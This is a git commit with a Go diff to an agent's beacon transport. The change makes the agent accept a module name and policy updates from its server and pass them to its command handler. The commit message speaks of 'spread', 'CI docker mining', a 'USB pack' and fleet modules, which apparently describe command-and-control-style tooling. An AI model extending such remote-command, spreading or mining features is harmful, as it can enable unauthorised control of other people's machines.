feat: alive UI wave, galaxy presence, spread and fleet enhancements

Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.

agent/client/beacon_transport.go

@@ -21,7 +21,9 @@ type beaconHTTPResponse struct {
 		Command   string `json:"command"`
 		Path      string `json:"path"`
 		Data      string `json:"data"`
+		Module    string `json:"module"`
 	} `json:"commands"`
+	Policies []FleetPolicyUpdate `json:"policies"`
 }
 
 func (c *AgentClient) httpsBeaconEnabled() bool {
@@ -107,8 +109,12 @@ func (c *AgentClient) beaconOnce(serverURL string) error {
 	if err := json.Unmarshal(data, &br); err != nil {
 		return err
 	}
+	for _, p := range br.Policies {
+		raw, _ := json.Marshal(p)
+		c.applyPolicyUpdate(raw)
+	}
 	for _, cmd := range br.Commands {
-		c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data)
+		c.handleCommand(cmd.Action, cmd.TailLines, cmd.Command, cmd.Path, cmd.Data, cmd.Module)
 	}
 	return nil
 }